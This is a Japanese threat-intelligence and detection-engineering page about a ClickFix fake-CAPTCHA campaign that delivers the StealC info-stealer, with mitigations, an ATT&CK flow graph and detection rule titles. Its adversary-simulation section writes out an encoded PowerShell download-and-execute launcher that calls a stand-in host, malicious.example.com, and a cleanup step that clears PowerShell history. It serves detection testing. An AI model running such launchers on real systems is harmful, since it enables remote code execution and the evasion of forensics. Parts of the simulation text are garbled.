ClickFixがどのようにして、ステルシーなStealC情報スティーラーの扉を開くか
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
複数段階にわたるファイルレスの侵入は、偽のCAPTCHAをホストしているベトナムのレストランのサイトが侵害されたところから始まります。被害者はPowerShellを実行するように誘導され、それが独立したシェルコードを引き込み、リフレクティブに64ビットダウンローダーをロードし、情報スティーラーStealCをsvchost.exeに注入します。StealCはブラウザの資格情報、暗号通貨ウォレットデータ、SteamおよびOutlookの資格情報、ホストの詳細、スクリーンショットを収集し、RC4暗号化されたHTTPトラフィックを介して流出させます。
調査
研究者たちはJavaScriptとPowerShellローダーを解剖し、Donutシェルコードフレームワークの使用を確認し、攻撃者が制御するURLへのダウンローダーのHTTPフェッチを追跡しました。そのスティーラーはビルダー駆動のマルウェアアズアサービスで、モジュラー構造の盗難機能および自己削除ルーチンを備えています。ハンティングノートには、「Loader」というUser-Agent値とステージングと実行に関連する特定のレジストリキーが含まれています。
緩和策
推奨される防御策には、ブラウザでのクリップボードペーストの制限または無効化、PowerShell実行ポリシーの強化、異常なUser-Agent文字列のアラートが含まれます。リフレクティブなPEローディングとプロセス注入の検出を追加し、Base64でエンコードされたペイロードの配信のためにアウトバウンドHTTP検査を強制すること。また、偽CAPTCHAの誘惑に関するユーザー教育は、制御として扱うべきであり、後回しにはしないでください。
対応
発見した場合、エンドポイントを隔離し、注入されたsvchost.exeインスタンスを停止し、シェルコードのレビューのためにメモリダンプをキャプチャし、悪意のあるドメイン/URLをブロックします。曝露された資格情報をリセットし、インパクトを確認するためにレジストリとブラウザのアーティファクトをレビューし、残留するC2トラフィックを監視します。
graph TB %% クラス定義 classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[“<b>技術</b> – <b>T1659 コンテンツ注入</b>: 侵害されたウェブサイトに悪意のあるJavaScriptを注入し、偽CAPTCHAを表示する。”] class tech_content_injection technique attack_user_exec[“<b>アクション</b> – <b>T1204.004 ユーザー実行: 悪意あるコピー&ペースト</b>: 被害者がWin+RとCtrl+VでPowerShellコマンドを実行。”] class attack_user_exec action tech_powershell[“<b>技術</b> – <b>T1059.001 PowerShell</b>: メモリ内ローダーをダウンロードするPowerShellスクリプトを実行。”] class tech_powershell technique tech_obfuscation[“<b>技術</b> – <b>T1027 難読化されたファイルまたは情報</b>: シェルコードと文字列の暗号化、動的API解決 (T1027.007)、ストリップされたペイロード (T1027.008)。”] class tech_obfuscation technique tech_process_injection[“<b>技術</b> – <b>T1055 プロセスインジェクション</b>: svchost.exeへのPEインジェクション (T1055.002) とプロセスホローイング (T1055.012)。”] class tech_process_injection technique tech_masquerading[“<b>技術</b> – <b>T1036 偽装</b>: 正規のsvchost.exeプロセスを使用して悪意のある活動を隠蔽。”] class tech_masquerading technique tech_cred_browser[“<b>技術</b> – <b>T1555.003 Webブラウザからの資格情報</b>: 保存されたブラウザ認証情報の窃取。”] class tech_cred_browser technique tech_steal_cookie[“<b>技術</b> – <b>T1539 Webセッションクッキー窃取</b>: ブラウザから認証クッキーを取得。”] class tech_steal_cookie technique tech_use_cookie[“<b>技術</b> – <b>T1550.004 代替認証情報の使用: Webセッションクッキー</b>: 盗んだクッキーを再利用して認証アクセス。”] class tech_use_cookie technique tech_browser_discovery[“<b>技術</b> – <b>T1217 ブラウザ情報探索</b>: インストールされたブラウザと設定情報を収集。”] class tech_browser_discovery technique tech_archive[“<b>技術</b> – <b>T1560 収集データのアーカイブ</b>: 送信前にデータを圧縮またはアーカイブ。”] class tech_archive technique tech_exfil_c2[“<b>技術</b> – <b>T1041 C2チャネル経由のデータ流出</b>: コマンド&コントロールチャネルを使用してデータを転送。”] class tech_exfil_c2 technique tech_encrypted_channel[“<b>技術</b> – <b>T1573 暗号化チャネル</b>: 暗号化 (Base64+RC4) で流出を保護。”] class tech_encrypted_channel technique tech_exfil_alt[“<b>技術</b> – <b>T1048.001 代替プロトコルによるデータ流出</b>: 代替プロトコルを使用してデータを流出。”] class tech_exfil_alt technique tech_file_deletion[“<b>技術</b> – <b>T1070.004 ファイル削除</b>: 痕跡を隠すためファイルやアーティファクトを削除。”] class tech_file_deletion technique tech_clear_persistence[“<b>技術</b> – <b>T1070.009 永続性の削除</b>: 実行後に永続化メカニズムを削除。”] class tech_clear_persistence technique %% 攻撃フローを示す接続 tech_content_injection –>|leads_to| attack_user_exec attack_user_exec –>|executes| tech_powershell tech_powershell –>|uses| tech_obfuscation tech_obfuscation –>|enables| tech_process_injection tech_process_injection –>|uses| tech_masquerading tech_process_injection –>|enables| tech_cred_browser tech_process_injection –>|enables| tech_steal_cookie tech_cred_browser –>|supports| tech_browser_discovery tech_browser_discovery –>|feeds| tech_archive tech_archive –>|compressed_data| tech_exfil_c2 tech_steal_cookie –>|enables| tech_use_cookie tech_use_cookie –>|leads_to| tech_exfil_c2 tech_exfil_c2 –>|protected_by| tech_encrypted_channel tech_exfil_c2 –>|uses| tech_exfil_alt tech_exfil_c2 –>|triggers| tech_file_deletion tech_file_deletion –>|also| tech_clear_persistence
攻撃フロー
検出
遅延実行のためのPING利用の可能性(コマンドライン経由)
表示
疑わしいファイルダウンロードの直接IP(プロキシ経由)
表示
LOLBAS wmic(コマンドライン経由)
表示
PowerShell経由でのダウンロードまたはアップロード(コマンドライン経由)
表示
StealC情報スティーラーのドアを開くクリックフィックスの仕組みを検出するためのIOC(SourceIP)
表示
StealC情報スティーラーのドアを開くクリックフィックスの仕組みを検出するためのIOC(HashSha256)
表示
StealC情報スティーラーのドアを開くクリックフィックスの仕組みを検出するためのIOC(DestinationIP)
表示
StealC情報スティーラーネットワークアクティビティを検出[Windowsネットワーク接続]
表示
StealCをsvchost.exeに注入するプロセスを検出[Windowsプロセス作成]
表示
PowerShell EncodedCommandおよびiex(irm)を検出[Windows PowerShell]
表示
シミュレーション実行
前提条件:テレメトリおよびベースライン事前チェックが通過している必要があります。
根拠:このセクションでは、検出ルールをトリガーするように設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定のTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的とします。
-
攻撃の説明とコマンド:
攻撃者は短縮URLを含むフィッシングメールを受け取ります。目的は、ユーザーに警告を与えずにリモートPowerShellバックドアをインストールすることです。攻撃者はBase64でエンコードされたPowerShellペイロードを作成し、C2サーバーから悪意のあるスクリプトをダウンロードし、それを即座に実行します
iex(irm…)。次を使用しスイッチを使用して、攻撃者は実際のコマンドをカジュアルな検査から隠し、パターンが検出ルールに直接一致します。iex(irm…)ランチャーコマンドを作成する:-
悪意のあるスクリプト(
payload.ps1)を作成してホストしますhttp://malicious.example.com/payload.ps1. -
ランチャーコマンドをエンコードする:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # この値は次のステップで使用します -
ターゲットでエンコードされたコマンドを実行する:
powershell.exe -EncodedCommand <Base64StringFromStep2>
これにより、Sysmon ProcessCreateイベントが生成され、
コマンドラインに含まれますスイッチを使用して、攻撃者は実際のコマンドをカジュアルな検査から隠し、and デコードされたテキストにはiex(irm…)が含まれており、Sigmaルールに適合します。 -
-
リグレッションテストスクリプト:
#----------------------------------------------------------- # シミュレーションスクリプト – PowerShell EncodedCommand + iex(irm)をトリガー #----------------------------------------------------------- # 1. 悪意のあるスクリプトURLを定義(テストサーバーで置換) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. スクリプトをダウンロードして実行するワンライナーを作成 $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. コマンドをBase64(Unicode)でエンコード $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. エンコードしたコマンドでPowerShellを起動 Write-Host "エンコードされたコマンドを実行中..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "シミュレーション完了。" -
クリーンアップコマンド:
# シミュレーションペイロードで作成された一時ファイルを削除する(存在する場合) # 例:ローカルに保存された場合はダウンロードしたスクリプトを削除 $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "一時ペイロードを削除。" } # オプションで、フォレンジックトレースを減らすためにPowerShell履歴をクリア Clear-History